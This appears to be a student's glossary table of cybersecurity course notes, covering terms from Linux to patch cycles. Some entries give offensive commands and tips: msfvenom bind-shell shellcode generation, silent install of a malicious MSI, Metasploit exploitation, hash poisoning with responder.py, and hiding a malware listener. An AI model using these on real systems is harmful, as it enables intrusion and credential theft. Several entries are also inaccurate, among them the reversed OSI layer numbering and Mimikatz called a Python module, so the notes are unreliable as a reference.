| Linux interrupts  CTRL + L | Clears the terminal screen. | | 1 | | 162 |
| Linux interrupts  CTRL + R | Brings up a search prompt in terminal window. | | 1 | | 155 |
| Linux interrupts  CTRL + R | You need to use CTRL + R again to keep going backwards through prior matches. | | 1 | | 155 |
| Linux interrupts  CTRL + Z | Suspend a running program, which pauses the program's execution. | | 1 | | 162 |
| Linux interrupts bg command | bg' which will allow the process to keep running, except it will run in the background | | 1 | | 162 |
| Linux logs | Are generally found on the “var folder” | | 1 | | 134 |
| Linux Shadow file | Holds passwords of users of system - readable only by root | | 1 | | 199 |
| Linux Terminal | Shell | | 1 | | 124 |
| Linux user | **one@two:~$** The current host is two. the user is one. | |  | |  |
| Linux visudo | command to edit the sudoers file | | 1 | | 129 |
| List all running services on Win PC | wmic service get name,startname | | 3 | | 335 |
| List folder contents | Allows you to display the folder's contents, and the contents of files inside. | | 2 | | 294 |
| listener | To look for listening ports: Linux: <netstat -pultn> Windows: <netstat -a -b -o>, more about process: Linux: lsof, Windows: process explorer. Obvious method. More creative:  1. open port at certain time each day for certain duration.  2. DNS req to certain domain, if certain IP open, otherwise keep closed.  3. If web server, change PHP to start listen when specific request sent to page, otherwise keep closed.  4. Replace netstat, lsof, etc with custom binaries that do not show the port the malware is listening on. | | 3 | | 301 |
| Little endian format | 0xc7555556 (backwards in groups of 2) least significant bytes are stored before the more significant bytes | | 3 | | 239 |
| Live capture (forensics) | Encrypted disk must be captured while computer is on (FTK Imager) | | 3 | | 120 |
| LLMNR - responder.py | Method for grabbing password hashes, poison the LLMNR, NBT-NS,MDNS protocols. | | 3 | | 329 |
| LLMNR, NBT-NS and MDNS Poisoning | Another common and more recent method for grabbing password hashes is to use a tool called 'responder.py', which allows us to poison the LLMNR, NBT-NS and MDNS protocols. There is no need to do much with 'responder.py'. Just run it and watch the password hashes come in over the network when people are logging into local resources such as a file server. | | 3 | | 329 |
| loC - Methods | 4 listed possibilities - see page | | 3 | | 302 |
| loC – lsof | To list all the files, open by the process. | | 3 | | 302 |
| Local Exploits | Local exploits mean the ability to target software that isn't necessarily listening on a port. Software does not need to be listening on a port to be targeted. | | 3 | |  |
| local logging | Less trustworthy as attacker could compromise the logs. | | 1 | | 360 |
| Local Storage | Sites can also store files on your computer (to a 5MB total file size) in the browser's local storage. Local storage is intended to provide much more powerful and sizeable storage to applications based on how the internet and web applications have developed. | | 1 | | 243 |
| Local Users Management Console | What windows configuration utility can be used by local administrative, creates users and groups within Windows, Change your password user to create an account which requires the password to be reset upon first login. Creating a new user using the control panel and the LUMC. | | 2 | | 285 |
| Log File Analysis | Event logs are invaluable for reconstructing attacks or figuring out when specific users logged in. When a significant or auditable event happens in Windows, the operating system generates a log file. These are viewed using the Windows Event Log Viewer. The Event Viewer has a Windows event log hierarchy, which contains many categories. The main event categories that are populated on all Windows systems by default are:   * Application * Security * System | | 3 | | 103 |
| Log files  (Network forensics) | Collected and put through SIEM's. | | 3 | | 135 |
| Log Files | Windows keeps a 'log' of events that occur on the computer. Log files are useful in many circumstances, from determining what was responsible for a crash occurring, to trying to trace if an attacker has compromised the system. To view the log files, we can use the Event Viewer. A Windows log entry will show what username created the entry, if applicable. | | 2 | | 277 |
| log files (Windows) | EVENT VIEWER to see log files -> security, application, system. | | 2 | | 276 |
| Log Server best practice | Do not log everything, consider compliance, collection efficiency and safety, key business & security events. Retention strategy, how long do you need this data for? Run a test and try to create a mini-incident. Consider data transport and security and encryption at rest | | 1 | | 365366 |
| Log Servers | The benefit of moving from local logging to log servers make it harder for attackers to overwrite logs. Rsyslog, SIM, SIEM, cloud - LaaS | | 1 | | 360 |
| logging data (log servers) | More monitoring can lead to better attacker prevention, but can also leave you open to legal or ethical constraints | | 1 | | 366 |
| Logic | Boolean logic is calculated in the logic unit of the processor through a series of logic gates and is a value that can be either true or false. This kind of value is perfect for computers, which talk in bits: either a 1 or a 0. In other words, bits are Boolean values, like a switch they can be either on or off. | | 1 | | 64 |
| Logic  Truth tables | When we look at Boolean logic, we usually use logic tables or truth tables to show all possible outcomes from inputs to that gate. | | 1 | | 64 |
| logic (databases) | Logic is required to design databases to ensure that all statements are complete for no redundancy. | | 1 | | 345 |
| logic gate | Circuits which usually take two inputs and produce one output | | 1 | | 64 |
| Logical - AND | The AND logic gate checks if the inputs are both true. If they are, the output is 'true’. | | 1 | | 66 |
| Logical - NAND | It's just the AND truth table inverted. ex: !(True AND False) = !(False) = True | | 1 | | 70- |
| Logical - NOR | It's just the OR truth table inverted. ex: !(True OR False) = !(True) = False | | 1 | | 72 |
| Logical - NOT | True becomes false and false becomes true | | 1 | | 69 |
| Logical - OR | The OR logic gate checks if at least one of the inputs is true. If it is, then the output is true. | | 1 | | 68 |
| Logical - XOR | Checks if only one side or the other is true. If only one input is true, then the output is true | | 1 | | 74 |
| Logical operators (SQL) | ALL AND ANY BETWEEN EXISTS UNION IN LIKE NOT OR SOME | | 2 | | 230 |
| logon type | 2(interactive) 3(network) | | 3 | | 103 |
| Logstalgia |  | | 1 | | 364 |
| Long | long integer value | | 2 | | 161 |
| Loopback | 127.0.0.1 a way for the computer to send data to itself. | | 1 | | 268 |
| Looping through a list |  | | 2 | | 65 |
| low level programming lang | difficult to learn. | | 2 | | 10 |
| LPORT | This is the local port. In other words, the port number we want the exploited server to connect to us on. We can leave this on the default setting. | | 3 | | 231 |
| ls -l desktop |  | | 1 | | 131 |
| LSB - Least Significant Bit (Steganography) | Least Significant Bit - converts audio sample into bits, into which text data is embedded. | | 3 | | 100 |
| lusrmgr.msc (Windows) | Local Users Management Console. see also creating new groups. | | 2 | | 285 |
| **M** |  | |  | |  |
| m32 | to cross compile for 32-bit arch | | 2 | | 154 |
| MAC Addresses  Media Access Control address | Also known as a hardware address, it is burned into the NIC when produced. MAC addresses are meant to be globally unique; no two NICs are supposed to have the same. They enable a switch to know which cable to send information down to send data to a particular computer. | | 1 | | 253 |
| Macro-Based malware | Replace template file with one containing macro-based malware. | | 3 | | 315 |
| Magic Bytes | See file headers | | 1 | | 61 |
| Magnet’s encrypted disc detector | Helps you detect if the disk has a full encryption enabled. | | 3 | | 120 |
| Main | The main function is the program's entry point. | | 2 | | 357 |
| Make command – Linux | Is used when building a program from source code. | | 1 | | 212 |
| Make install - Linux | install in PATH. | | 1 | | 213 |
| Making programs multi-threaded | By suing threads, we can tell our program to create a separate process for a chunk of code that the processor will execute from the main body of code. | | 2 | | 122 |
| Malicious Software –  virtual machine | To prevent any malicious software from infecting the host machine, it is critical to disable the virtual machine's network connection along with any file sharing with the host machine. This can help prevent the software from infecting his host computer. | |  | |  |
| Malicious software (Malware) - Removal | If malicious software (malware) infects a computer, the kernel requires the most effort to detect and remove. | |  | |  |
| Malloc \*C\* | Malloc() dynamically allocates memory at program execution instead of at compile time. Storing on the heap. Must be cleared for free(), which can be a benefit because it remains there until cleared. | | 2 | | 182 |
| Maltego | Finds user's personal email addresses. | | 3 | | 79 |
| Malware Defenses | Control the installation, spread and execution of malicious code at multiple points in the enterprise. | | 3 | | 46 |
| Man in the Middle Attacks | Rely on an attacker inserting themselves in the middle of communication between two systems on the network and using that to sniff traffic they wouldn't ordinarily be able to see. | | 3 | | 326 |
| MAPI (Messaging API) | Designed to enable the state synchronization with a remote Exchange server so that a number of Outlook clients can be up to date with the state of their mailbox data. Rich workplace management features: calendar sync, contacts, etc. | | 1 | | 370 |
| Maria DB - Installing |  | | 2 | | 193 |
| MariaDB | MariaDB is intended to be a drop-in replacement for MySQL, indeed even the MariaDB command line client is still called MySql. | | 2 | | 189 |
| Master File Table | entries that are not removed on file deletion | | 3 | | 118 |
| Math \*C\* | ++ add 1, -- sub 1 | | 2 | | 166 |
| MD5 | The most common hash is known as "Message Digest Version 5" or "MD5". This is a unique 128-bit value generated by a hash algorithm and is represented by a 32-hexadecimal digit sequence. | | 3 | | 105 |
| md5sum | to md5 hash | | 3 | | 22 |
| mDNS | multicast DNS | | 3 | | 329 |
| Mechanical Drives | These drives contain moving parts and can be quite unreliable over longer periods of time, or if they are jolted while in use. They are slower. | | 1 | | 29 |
| Memory Captures | A memory capture will be a copy of everything that has been written to RAM since the last power cycle. It is possible to find evidence of previously written data in RAM, in a similar way to unallocated space on a drive. A capture of memory can provide everything that was, running on the victim system. Ex: running processes, child processes and orphaned processes, helpful for identifying any malware. | | 3 | | 132 |
| Memory Forensics | RAM(memory), the analysis of volatile memory captures taken from systems, useful in cases where breaches have occurred, and the victim system has been left in a running state. Tool: Volatility | | 3 | | 131 |
| Memory Leak in c | Results from not freeing memory you allocate on to the memory HEAP | | 2 | | 181 |
| Memory Registers | CPU's own memory. These are even faster to use than RAM because they are physically inside the CPU because they have a shorter distance to travel. The downside is that there are a limited number, and they can hold an extremely limited amount of data - amount varies depending on the architecture of the CPU. | | 2 | | 335 |
| Memory Registers EBP (CPU/MEM) | Base pointer/ contains memory address / points to BOTTOM of current stack frame in RAM | | 3 | | 335 |
| Memory Registers EDI (CPU/MEM) | destination index / hold a destination memory address / edi holds the address data is going to be copied to | | 3 | | 335 |
| Memory Registers EIP (CPU/MEM) | instruction pointer / holds memory address of the next instruction the CPU is going to execute | | 3 | | 335 |
| Memory Registers ESI (CPU/MEM) | source index / holds memory address of data when data is being used as source / esi holds copied data if moving | | 3 | | 335 |
| Memory Registers ESP (CPU/MEM) | stack pointers register / contains memory address / points to TOP of current stack frame in RAM | | 3 | | 335 |
| Metadata | A type of artifact that a blue team member can use to identify the name that is associated to the file. | |  | |  |
| Metadata | Data about the data. Artifact that a blue team member can use to identify the name of a person who created a PDF document. Metadata describes how, when and by whom a particular set of data was collected, and how the data is formatted. • Metadata is created when files are created and when edited. This information can contain revisions, comments, template information, file properties and summary information. | | 1 | | 81 |
| metadata (file storage) | Data which describes other data & stored in an INDEX | | 1 | | 81 |
| Metagoofil | Metagoofil is a tool that, when given a domain, can find files of a certain type using Google, automatically download them and then look at the metadata to find people and email addresses. Metagoofil uses Google to search for files on a certain domain. It doesn't directly crawl the target. | | 3 | | 65 |
| Metagoofil (mitigation) | You can strip metadata from a PDF file using a combination of Exiftool, pdftk and qpdf | | 3 | | 68 |
| Metagoofil search command | Metagoofil -d **https://sans.org -t doc,pdf,xls -l 200 -o sans\_files -f sans\_results.html** | | 3 | | 65 |
| Metasploit | The 'Social Engineer Toolkit' uses Metasploit for some of its functionality. A nice and safe way to generate shellcode is to use the Metasploit project. It comes with a nice tool for generating shellcode called 'msfvenom' and it is installed by default on Kali Linux. The Metasploit framework is a tool which is heavily used in the security industry. It's a way of delivering exploits in a modular manner. There are several steps to using Metasploit.   1. Load up the Metasploit framework. 2. Choose the exploit you want to use from their list of exploits. 3. Choose the payload you want to deliver. They have a large list of possible payloads (this is the code you want the exploit to run, like the shellcode, but they have a large list of payloads that can be automatically generated). 4. Configure the exploit and payload. 5. Run the exploit. | | 3 | | 227 |
| Metasploit | A penetration testing tool used to automatically execute exploits against targeted systems. Kali Linux runs Metasploit | | 3 | | 227 |
| Metasploit browser exploit | Will utilize select Metasploit browser exploits through an iframe and deliver a Metasploit payload. | | 3 | | 242 |
| Meterpreter | Meterpreter is a Metasploit attack payload that provides an interactive shell from which an attacker can explore the target machine and execute code. Meterpreter is deployed using in-memory DLL injection. As a result, Meterpreter resides entirely in memory and writes nothing to disk. | | 3 | | 277 |
| Methods | manipulate the object and the data it represents | | 2 | | 330 |
| Methods | This is the name given to the behaviors that objects have in an object-oriented programming. | | 2 | | 330 |
| MFT (Master File Table) | MFT entries in NTFS provide a wealth of information and are not completely removed when file deleted | | 3 | | 119 |
| micro-atx | Smaller than ATX | | 1 | | 22 |
| Microsoft Exchange | Supports IMAP, POP3 and EAS (Exchange Active Sync). Restricted to Windows Server - cannot run an exchange server on Linux. | | 1 | | 284 |
| Migrate  Unquoted service path | As soon as get connection run post/windows/manage/migrate to migrate whatever information the attacker is stealing, or the connection will be lost when detected. This is a privilege escalation. | | 3 | | 288 |
| MIME | Transfer non-ASCII data & suggests to rec. clients whether it should be displayed inline or as an attachment. | | 1 | | 380 |
| MIME attachments | MIME attachments such as images are encoded in base64 which produces a string of text. | | 1 | | 380 |
| MIME attachments 2 | Email client then recognizes this is an attachment and decodes it back into a file which you can download | | 1 | | 380 |
| MIME headers | Content-Type header which might stipulate text/plain, or text/html. | | 1 | | 380 |
| Mimikatz | Mimikatz can be used to retrieve both password hashes and plaintext passwords. On Windows, Mimikatz relies on SYSTEM level privileges to be able to access RAM. Mimikatz requires the highest level of privilege on Windows. | | 3 | | 325 |
| Mimikatz (Lateral Movement) | Python module to glean cleartext passwords from memory, and even for extracting files stored in memory | | 3 | | 133 |
| MinGW | To compile for windows on a Linux platform | | 2 | | 155 |
| mini-atx | The Smallest motherboard | | 1 | | 22 |
| Mirroring | aka RAID 1 | | 2 | | 362 |
| missing patches Metasploit | It is 'post/windows/gather/enum\_patches'. | | 3 | | 280 |
| MITM | Man In the Middle Attacks - goal for attack is to intercept password hashes as they go across the network | | 3 | | 326 |
| mkdir  (Windows) | The 'mkdir' command is used to create a directory. You can also use a full path when creating a folder; in this case the command would look like this: mkdir C:\Users\User\mynewfolder 'mkdir' will create any missing folders along the way. | | 2 | | 305 |
| Most Significant Bit (integer overflow) | Bit with highest value (furthest to the left) | | 3 | | 186 |
| most significant bit in c | Signed integer can be neg. but most significant bit is used holds the neg. sign & integer size is reduced. 10010001 - most significant bit furthest to left, if # is 1 it is neg. if # is 0 it is pos. | | 2 | | 160 |
| Motherboard | Central piece to which all other components connect. E-ATX the largest, atx - standard, micro atx - smaller than atx, smallest size: mini-ITX. Most desktop computers use and atx or e-atx. | | 1 | | 22 |
| motherboard - buses | Buses are responsible for moving data between components | | 1 | | 23 |
| motherboard - sizes | E-ATX (largest aka Extended ATX), ATX (standard), micro-ATX (smaller than ATX), mini-ITX (Even smaller) | | 1 | | 22 |
| motherboard - socket | kind of connector that the CPU processor has, must be compatible with motherboard. | | 1 | | 23 |
| Mount a network drive | We need to use “net use x: [\\DESKTOP-3VSCDO9\Share](file://DESKTOP-3VSCDO9/Share)” to mount a network drive. | | 2 | | 315 |
| Move  Windows CLI | The 'move' command is used to move one or more files from one location to another. Unlike 'copy' when using 'move' we can move directories without any extra commands. We use move with the following syntax: move <source> <destination> | | 2 | | 308 |
| moving files (Linux commands) | A move copies the files and folders from one location to another, REMOVING the original. | | 1 | | 168 |
| msconfig | Is a system utility to troubleshoot the Microsoft Windows startup process. It can disable or re-enable software, device drivers and Windows services that run at startup, or change boot parameters. | |  | |  |
| msf > search | Searches Metasploit for defined exploit | | 3 | | 227 |
| msf > search payload | Lists all possible payloads in Metasploit | | 3 | | 228 |
| msf > set RHOST 192.168.182.154 | Set remote host on a specific IP address | | 3 | | 230 |
| msf> exploit | Runs the exploit after all options have been added | | 3 | | 231 |
| msf> options | Lists options for defined exploit | | 3 | | 229 |
| msf> set PAYLOAD | Sets the payload in Metasploit | | 3 | | 229 |
| Msfconsole | Starts Metasploit in Linux | | 3 | | 227 |
| Msfvenom | generates malware | | 3 | | 294 |
| Msfvenom | This command will generate some malware shellcode.  # msfvenom -a x86 -p windows/shell\_bind\_tcp --platform windows -b \x00\x0a\x0d -f python LPORT=1337 | | 3 | | 215 |
| Msiexec | To run our malicious installer on the target: msiexec /quiet /qn /i mal.msi | | 3 | | 297 |
| multi-attack method | Web attack method. | | 3 | | 242 |
| multi-threaded | It can run multiple chunks of code concurrently. When a program is multi-threaded, code can run against multiple components simultaneously, rather than following the linear path of the code. Ex: opening and managing multiple network sockets to perform security scanning. | | 2 | | 122 |
| mysql\_secure\_installation | This is how you remove the test database, anonymous accounts and enforcing credentials. | | 1 | | 346 |
| Mysqldump |  | | 1 | | 346 |
| **N** |  | |  | |  |
| Name Servers | A name server that is authoritative for a domain is one that controls the mapping between the domain name and the IP address. that every name server must query the authoritative name server to find out the IP address for that domain. DNS server is responsible for providing name resolution for FQDN, such as www.sans.org | | 1 | | 292 |
| NAS | see also file storage - Network attached storage. common in cloud. | | 2 | | 363 |
| NAT | 1. If behind NAT, computers can’t connect to you unless you set up a NAT forwarding rule at the router to allow it. 2. Need at least one 'public' IP for the network. That IP can be shared across every computer on the network. 3. created to solve the problem of running out of IP addresses, private IP for local and public IP for the Internet | | 1 | | 263 |
| NBT-NS | NetBIOS Name Service | | 3 | | 329 |
| Netcat | Netcat can be used as a portscanner  nc 127.0.0.1 8081 to connect to server running in 127.0.0.1 port 8081 | | 3 | | 323 |
| Netcat | Command line tool responsible for reading and writing data in the network. | | 3 | | 215 |
| netcat -l -p 8081 | to start a server and listen on port 8081 | |  | |  |
| NetFlow | NetFlow is the de facto term used to describe capturing meta-data from network traffic. Benefit: on a normal network the storage requirements would be lower, and it can be enabled on already existing network infrastructure. | | 3 | | 135 |
| Netsh  Windows CLI | When you need an IP to communicate on the network. it is used to start Network Shell to manage the network settings of a computer. To set an IP, run this in admin mode since it affects all users: netsh interface ip set address <connection name> static <IP> <subnet> <gateway> | | 2 | | 314 |
| Netstat | Port listener netstat -a -b -o (Windows command) | |  | |  |
| Netstat | On Linux, we can use the netstat command to look for listening ports: netstat -pultn | | 3 | | 312 |
| Network Attached Storage (NAS) | File Storage | | 2 | | 363 |
| Network forensics | Forensic investigation of network traffic and data captured in transit between devices | | 3 | | 135 |
| Network Forensics | * Network forensics involves the capture, recording, and analysis of network events and traffic data in order to investigate the source and characteristics of an attack. * This data can be collected from various devices such as intrusion detection and prevention systems (IDPS), switches, network taps, and firewalls. * Knowledge of common application and network protocols, such as Ethernet, TCP/IP, SMB, NFS, HTTP, HTTPS, and SMTP, is essential for forensic investigators to identify anomalies in network traffic and understand what is normal. * Network forensics typically involves the analysis of NetFlow data, which is metadata captured from network traffic and can be used to baseline network activity and identify connectivity issues, and full packet capture data, which allows analysts to gain a complete picture of network traffic. Log files from routers, proxy servers, web servers, and IDPS devices can also be analyzed as part of a network forensic investigation. * These log files can be manually parsed or analyzed using security incident and event management systems (SIEMS). | | 3 | | 135 |
| Network Identifier | 192.168.0.1 network identifier = 192.168 | | 1 | | 266 |
| Networking windows | Almost immediately via WIFI or ethernet connection. The connection setup is handled by DHCP (Dynamic Host Configuration Protocol) | | 2 | | 268 |
| Networks | A computer network is a set of computers that are connected (or networked) together. The largest is the internet (WAN/LAN Networks). | | 1 | | 247 |
| New File | When a new file is created filed it automatically inherit the permissions of their parent folder. Following default permission assignment, the file permissions could be altered manually. | | 2 | | 294 |
| New user (windows) | see also net user. in command line use: net user /add <username> <password> | |  | |  |
| Next (GBD) | The use of 'next' will step over function calls. 'next' steps over function calls | | 2 | | 348 |
| Nginx | Nginx comes with a large amount of pre-set functionality by default. Nginx comes pretty lean by default, so you can customize it as you see fit. It uses PHP FPM - FPM stands for FastCGI Process Manager to run server-side code and PHP | | 1 | | 330 |
| Nibble | 4 bits | | 1 | | 44 |
| NIC (Network Interface Card) | Hardware internally attached to a computer which allows it to interface with a network. A compute with a built-in wireless built-in has a NIC inside and can connect to a wireless network. Computers that can use both wireless and Ethernet will have 2 NICs. | | 1 | | 251 |
| NMap | NMAP is used for scanning networks and can discover hosts, services, and vulnerabilities  It can also fingerprint the operating system to a good degree of accuracy. Nmap also does version detection of services by fingerprints. It looks at several factors and compares them against a fingerprint database to try to find out which services are running. It can even tell the difference if a service is configured to provide the wrong banner when you connect it. | | 3 | | 86 |
| nmap - scan all possible ports command (syn scan) | # nmap -vv -sT -p- 127.0.0.1 | | 3 | | 86 |
| Nmap -SS | nmap syn scan. when an attacker uses this tied to an IPaddress they were trying to identify services running on network host. | | 3 | | 86 |
| Nmap -v | Nmap with verbose parameter -v | | 3 | | 86 |
| nmap –v | Second level verbosity - lets us know what nmap is doing | | 3 | | 86 |
| Nmap (blue team) | 1. Make sure to patch any software that listens on ports on your servers. 2. patch cycle of a few weeks between a patch being released and your testing, implementing, and rolling out. 3. Firewall or Intrusion Detection System (IDS) will usually pick up port scans and act to block them | | 3 | | 91 |
| Nmap (red team) | Use nmap to scan for open ports | | 3 | | 86 |
| Nmap commands | nmap -vv -sS -p 10.10.1.1 would be used by red team to identify open ports that could be used to compromise a host. | | 3 | | 86 |
| nmap connect scan command | # nmap -vv -sT 127.0.0.1 -sT is the TCP Connect scan and 127.0.0.1 is target | | 3 | | 86 |
| Nmap scan UDP ports - sU | use -sU to scan on UDP instead | | 3 | | 91 |
| Nmap services running | nmap -vv -sV -p- 127.0.0.1 | | 3 | | 89 |
| NMap Syn Scan | Syn scan is faster and stealthier, and you should almost always be using if you have root access to the system you are scanning from. With a syn scan, the TCP connection is never completed, so it looks like this if the port is open: Syn Syn-Ack And if the port is closed then it looks like this: Syn Rst You can perform a syn scan with the '-sS' parameter. | | 3 | | 88 |
| NMap UDP | You can use the '-sU' parameter to scan on UDP instead, but because UDP is connection-less, UDP scans can take a long time and aren't necessarily accurate. That's because you'll typically only get a response on UDP if you send the right data to the application; otherwise, you'll likely get ignored. | | 3 | | 90 |
| Nmap version scan | Use -sV to use version scan (nmap uses it by fingerprints) | | 3 | | 89 |
| Nologin | The lack of a hash for the www-data account could be caused by the account being set to the nologin the passwd file. This means there is no password for the account as it is not meant for users to log in, but for software to use such as web servers. | | 1 | | 190 |
| Non-relational databases | Designed to hold unstructured data where the designer may not know exactly what kind of data needs to be stored or if the type of data that needs to be stored is constantly changing. There are no relationships between data in non-relational databases. Called NoSQL. Common type of NoSQL is the document data store (log message are an example). | | 2 | | 191 |
| Non-repudiation | This feature tells an investigator that they know a specific message was sent leaking proprietary information because of the type of encryption used by the suspect to protect it. | | 3 | | 9 |
| NOP Variable | The nop instruction in assembly is an interesting one; it just means do nothing and move to the next instruction. It's very useful to us for a reason we'll come to later. | | 3 | | 197 |
| NoSQL | No structure hence SQL can't be used | | 2 | | 191 |
| Notation | You put the notation in front of the number to specify the number base it uses. | | 1 | | 47 |
| Notation | So 0d10 is 10 in denary. 0b10 is 10 in binary and 0x10 is 10 in hexadecimal. | | 1 | | 47 |
| Notify only when apps trying to make changes to the computer | This is the default setting for UAC. UAC prompts aren't shown when you try to make changes to Windows settings but are shown when attempting to install software or run as administrator. The desktop is dimmed when a UAC prompt is shown. | | 2 | | 292 |
| NotPetya (Anti-forensics) | Encrypting ransomware targeting Windows based systems & covers its own tracks. | | 3 | | 127 |
| Nslookup | Nslookup (from name server lookup) is a network administration command-line tool for querying the Domain Name System (DNS) to obtain the mapping between domain name and IP address, or other DNS records. | |  | |  |
| Nslookup (email servers) | nslookup set type=mx sans.org | | 1 | | 372 |
| NTFS  (New Technology File System) | Advanced file system with many features, including permissions support, encryption support and shadow copies (effectively backups of files). File size limit that is so large, but there is a limit. More reliable than older file systems; to a limited extent, it is capable of healing from data corruption. Limited support amongst non-Windows operating systems. | | 1 | | 84 |
| NTFS File System | Identifies files that once existed in each directory. Master File Table (MFT) entries in NTFS provide a wealth of information and are not completely removed when file deletion occurs; these files in some cases can be retrieved and investigated. NTFS directory index entries utilize a $FILE\_NAME attribute to store information within the index, providing information about the file such as full file name, creation and modification time, access time, MFT change time, file size and its parent directory. | | 3 | | 119 |
| NULL | Default value is NULL if no value specified but not empty. | | 2 | | 251 |
| Null byte | Terminates a string. | | 2 | | 158 |
| Number Bases | Base 16 (Hex) and Base 2 (Binary). Notation can be used in front of the number to specify what base it uses. | | 1 | | 47 |
| Numbers (manipulating) python | Use \*\* for exponents, use % for modulus (remainder), round brackets first to prioritize operation | | 2 | | 25 |
| NX / DEP  Data Execution Policy | No execute on Linux, or Data Execution Policy on Windows. Separates areas of the stack into code and data, if enabled, you can't put shellcode into memory. | | 3 | | 202 |
| **0** |  | |  | |  |
| Object | This object is a little self-contained "thing" with all the attributes and methods associated with it that we defined in the class. As programmers, we would refer to this object as an instance of a class. The real power of classes and objects is simultaneously creating more than one object. Each object is like a copy of the original empty class, entirely independent of any other object. | | 2 | | 365 |
| Object Constructor (python) | Uses classes to model objects, capturing both their attributes  \_\_init\_\_(self, parameter1, parameter2) | | 2 | | 102 |
| Object Oriented Programming | Object-oriented programming uses classes to model objects, capturing both their attributes - the data that describes them - and their methods – the behaviors they have. By thinking about programs this way, we tie together data with the functions that create and modify that data. | | 2 | | 186 |
| Object Oriented programming (python) | Uses classes to model objects, capturing both their attributes. | | 2 | | 136 |
| Object Oriented programming in c | No such thing as object-oriented programming in C. | | 2 | | 186 |
| Object Storage (Cloud) | A common form of storage in the cloud. Data is stored in a flat structure as objects. Each object contains the data, metadata, and a unique identifier that references that object. Object storage can scale infinitely by combining storage devices into storage pools. The primary use case for object storage is for holding relatively static, unstructured data. Accessed using API calls. There is no concept of hierarchy in object storage. | | 2 | | 363 |
| Oblivious DoH | DNS through proxy server for user security/privacy. | | 1 | | 356 |
| openssl  Encrypt | **openssl enc -des -in test.txt -out sym\_enc.enc.** This command encrypts a file using the DES algorithm. | | 3 | | 15 |
| openssl  Decrypt RSA data | **openssl rsautl -decrypt -in <cipher.txt> -inkey private.pem -out <decrypted.txt>** - This is used to decrypt data from RSA. Use 'cat' to see message | | 3 | | 20 |
| openssl  Key Generation RSA | **openssl genrsa -out private.pem 2048** | | 3 | | 19 |
| openssl  Public Key Extract | **openssl rsa -in private.pem -outform PEM -pubout -out public.pem** - use 'cat' to show public key. | | 3 | | 19 |
| Openssl | OpenSSL is an open-source command line tool that is commonly used to generate private keys, create CSRs, install your SSL/TLS certificate, and identify certificate information. | |  | |  |
| Openssl  Decrypt | openssl enc -des -in <input file> -out <output file>. This reverses the process and decrypt the data. | | 3 | | 16 |
| openssl passwd -1 | creates a salted password hash. | | 3 | | 56 |
| OpenStego | You can attach any kind of secret message file in an image file. You can hide images in BMP, GIF, JPEG, JPG, PNG and WBMP, and take output as a PNG file. | | 3 | | 100 |
| Operating Systems | Is software that runs on the computer, which manages how the computer operates. | | 1 | | 93 |
| OregonLow | PNW\_states = [ 'Washington' , 'Oregon' , 'Idaho' , 'Montana' , 'Wyoming' ]  print(PNW\_states[1]) | |  | |  |
| OS | Is the software that runs on your computer. | | 1 | | 94 |
| OS Detection | Nmap can also fingerprint the operating system to a good degree. | | 3 | | 90 |
| OSI 1 APPLICATION | HTTP GET request as web browser will form request necessary for displaying a page or submitting a form. | | 1 | | 303 |
| OSI 2 PRESENTATION | XML or JSON, formats data recipient can understand, ENCRYPTION, (converted data also) | | 1 | | 304 |
| OSI 3 SESSION | Handles opening, closing, and managing connections between computers TCP DOES NOT GO UNDER HERE | | 1 | | 305 |
| OSI 4 TRANSPORT | end-to-end connections between computers on a network, TCP & UDP headers get added here (tcp handshake) | | 1 | | 306 |
| OSI 5 NETWORK | Responsible for routing the packet over the internet, IP header is added to packet | | 1 | | 307 |
| OSI 6 DATA LINK | Responsible for encoding and decoding packets into bits, destination and source MAC added to packet (Ethernet frame) | | 1 | | 308 |
| OSI 7 PHYSICAL LAYER | Responsible for converting the packet into electrical signals, which are sent over the network. | | 1 | | 309 |
| OSI Model | OSI is a way of describing networking interactions. While a tad theoretical, or “reference”, it is helpful model to understand the layers that build communications. | | 1 | | 301 |
| Output Devices | Devices that accept data from the computer. Connected over USB, VGA, DVI, HDMI, DisplayPort, USB-C. | | 1 | | 33 |
| **P** |  | |  | |  |
| PaaS - Platform as a Service | * Vendor provides hardware and software designed to enable you to deliver applications. * Typical users are integrators and developers, manage production and focus on building better applications. * PaaS takes IaaS components and packages up capabilities for application and service deliver | | 1 | | 90 |
| Package manager (Linux arch) | Programs that are designed to simplify the installation of new software on Linux | | 1 | | 204 |
| Package\_File.deb  (Linux arch) | A package usually ends in either '.deb' or '.rpm', depending on which type of distribution it was packaged for. Packages can be installed using 'rpm' with rpm -i package.rpm. | | 1 | | 207 |
| Packet Headers | * Packet headers contain information used for maintaining state and routing connections. Starting with application-level data, we encapsulate that data into a packet ready for transmission over the network. The process of encapsulation occurs by adding headers to the data. * Headers --> TCP Header (Source and destination ports 80 or 443, sequence number, acknowledgement number), IP Header (version 4 or 6, the source IP address, destination IP address, size of packet), Data link layer protocol (MAC address, destination MAC address) Packet is then converted to electrical impulses which are transmitted over the network. * On receiving end, packet works its way back through the layers first being converted to electric to data, then ethernet frame is removed, IP header removed, TCP header is removed, until application (web server) receives the GET request, The web server will respond with the contents of the index page in HTML form, and that data will then be encapsulated into a packet and transmitted over the network in response. | | 1 | | 315 |
| Packet Receiving | All headers removed until web server receives GET request, responds with HTML page, packet is encaps. N sent | | 1 | | 315 |
| Packet that is used when a graceful TCP teardown fails. (Abruptly) | RST | |  | |  |
| Packets | * Data must be placed into (encapsulated into) packets before it can be transmitted. * The packet contains other information, such as the destination IP address and MAC address. * Maximum packet size of about 1500 bytes - 65535 bytes (64 KiB). | | 1 | | 254 |
| Paradigm in programming | It refers to the different approaches we can take when we create code | | 2 | | 137 |
| Paradigm in Programming  Procedural paradigm | Breaks down the tasks into a series of steps, repeated tasks are split apart into reusable functions that can be called at any time by another function. It is very good for creating small to medium sized programs with minimal to moderate amounts of complexity. | | 2 | | 137 |
| Paradigm in Programming  Object oriented paradigm | It tends to require more abstract thinking and strong ability to spot reusable patterns that can be reasonably grouped together into objects. It also makes large complete programs much easier to understand and maintain. | | 2 | | 137 |
| Password Cracking | Password cracking is the process of using an application program to identify an unknown or forgotten password to a computer or network resource. It can also be used to help a threat actor obtain unauthorized access to resources. | | 3 | | 56 |
| Password Reuse  Prior breaches | Most troublesome since most people use the same password across multiple services. | | 3 | | 79 |
| Patch Cycles | An approved delay between a patch being released and a patch being implemented dedicated to testing patch. Obviously the shorter the patch cycle the better it is, but the larger the organization the larger the patch cycle tends to be. Priority should be given to systems that carry critical data and systems that are most at risk (such as anything internet-facing). To keep all organizations up to date for all technology that it uses to protect them against new and old vulnerabilities. Install them after working hours | | 3 | | 233 |
